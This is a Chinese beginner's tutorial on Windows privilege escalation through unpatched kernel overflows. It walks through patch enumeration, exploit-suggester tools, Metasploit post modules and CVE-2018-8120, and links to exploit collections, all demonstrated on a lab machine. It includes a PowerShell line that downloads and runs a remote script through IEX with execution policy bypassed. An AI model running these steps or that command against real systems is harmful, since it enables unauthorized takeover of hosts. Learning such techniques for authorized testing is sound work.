列出所有内核_Windows系统内核溢出漏洞提权

72368c362749c51f1ced629fa9d999b9.png

在Windows中,有User、Administrator、System、TrustedInstaller这四种用户权限,其权限从左到右依次升高。而我们在一般的实战中,获得的权限较低,低权限将使渗透测试受到很多的限制。这就要求我们将当前权限提升到足以满足我们要求的高权限。

权限提升的方式大概有以下两类:

  • 纵向提权:低权限用户获得高权限角色的权限。

  • 横向提权:获得同级别角色的权限。

常用的提权方法有Windows系统内核溢出漏洞提权、错误的系统配置提权、数据库提权等等。下面我们对第一种提权的方法进行演示。

本文专为小白所写,内容较为基础且丰富,大佬可以路过还望多多点评哦。

Windows系统内核溢出漏洞提权

溢出漏洞是一种计算机程序的可更正性缺陷。溢出漏洞的全名:缓冲区溢出漏洞。因为它是在程序执行的时候在缓冲区执行的错误代码,所以叫缓冲区溢出漏洞。缓冲溢出是最常见的内存错误之一,也是攻击者入侵系统时所用到的最强大、最经典的一类漏洞利用方式。成功地利用缓冲区溢出漏洞可以修改内存中变量的值,甚至可以劫持进程,执行恶意代码,最终获得主机的控制权。

利用Windows系统内核溢出漏洞提权是一种很通用的提权方法,攻击者通常可以使用该方法绕过系统中的所有安全限制。攻击者利用该漏洞的关键是目标系统有没有及时安装补丁,如果目标系统没有安装某一漏洞的补丁且存在该漏洞的话,攻击者就会向目标系统上传本地溢出程序,溢出Administrator权限。

下面演示提权过程。

1. 手动查找系统潜在漏洞

获取目标主机的一个普通用户的shell后,执行如下命令,查看目标系统上安装了那些补丁:

systeminfo
或
wmic qfe get caption,description,hotfixid,installedon

b0e8590b3d1f563d53e422d1959300ec.png

ed7b631d15c01d5ed1e170db46a90405.png

可以看到系统就装了这几个补丁。攻击者会通过没有列出的补丁号,寻找相应的提权EXP,例如KiTrap0D和KB979682对应、MS10-021和KB979683对应等等。然后使用目标机上没有的安装的补丁号对应的EXP进行提权。

2.自动查找系统潜在漏洞

方法一:Windows Exploit Suggester

该工具可以将系统中已经安装的补丁程序与微软的漏洞数据库进行比较,并可以识别可能导致权限提升的漏洞,而且其只需要我们给出目标系统的信息即可。

使用如下:

首先更新漏洞数据库,会生成一个xls的文件,如下 2020-08-20-mssb.xls

python2 windows-exploit-suggester.py --update

9ccee2bba2a79304c9a495e69b278027.png

然后执行如下命令,查看目标主机系统信息,保存为sysinfo.txt文件:

systeminfo > sysinfo.txt

最后,运行如下命令,查看该系统是否存在可利用的提权漏洞:

python2 windows-exploit-suggester.py -d 2020-08-20-mssb.xls -i sysinfo.txt

d41d4974ed3b315f3f164c77e59e493d.png

如上图,执行后,给出了一堆目标系统存在的漏洞(毕竟是靶机嘛~~~)

方法二:local_exploit_suggester 模块

Metasploit内置模块提供了各种可用于提权的local exploits,并会基于架构,平台(即运行的操作系统),会话类型和所需默认选项提供建议。这极大的节省了我们的时间,省去了我们手动搜索local exploits的麻烦。

使用如下,假设我们已经获得了目标主机的一个session:

use post/multi/recon/local_exploit_suggester 
set session 1
exploit

1ac7e3f708d8cf60dc10835ed2178ed4.png

如上图,该模块快速识别并列出了系统中可能被利用的漏洞,十分方便。但虽然如此,也并非所有列出的local exploits都可用。

方法三:enum_patches 模块

会用metasploit中的post/windows/gather/enum_patches模块可以根据漏洞编号快速找出系统中缺少的补丁。使用如下:

use post/windows/gather/enum_patches
set session 1
exploit

在实际的查找潜在漏洞的过程中,建议手动和自动双管齐下。

该脚本可以快速的查找出可能用于本地权限提升的漏洞。使用如下:

powershell -exec bypass -c IEX(New-Object Net.WebClient).DownloadString('http://39.xxx.xxx.210/Sherlock.ps1');      // 远程执行
Import-Module 目录Sherlock.ps1       本地执行

Find-AllVulns    // 调用脚本后,执行搜索命令

86b5ebadb9dd62044375eaf2780e507d.png

3.选择漏洞并利用

查找了目标机器上的补丁并确定存在漏洞后,我们就可以像目标机器上传本地溢出程序,并执行。这里,我们选择的是CVE-2018-8120。

漏洞利用程序可以从以下几个地址中下载:(里面附有使用说明)

  • Windows 下的提权大合集:https://github.com/lyshark/Windows-exploits

  • Windows内核溢出漏洞提权大全:https://github.com/SecWiki/windows-kernel-exploits

  • 各大平台提权工具:https://github.com/klsfct/getshell

54e637eda77fea8bd6edbe90bd07b204.png

执行:

5796d0671b7655bfb7817c001a81bc56.png

如上图,再执行提权程序之前,为普通用户whoami权限,执行后为system权限。msfconsole上完整操作如下:

ebde3910af5c25897f328839af1c0323.png
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值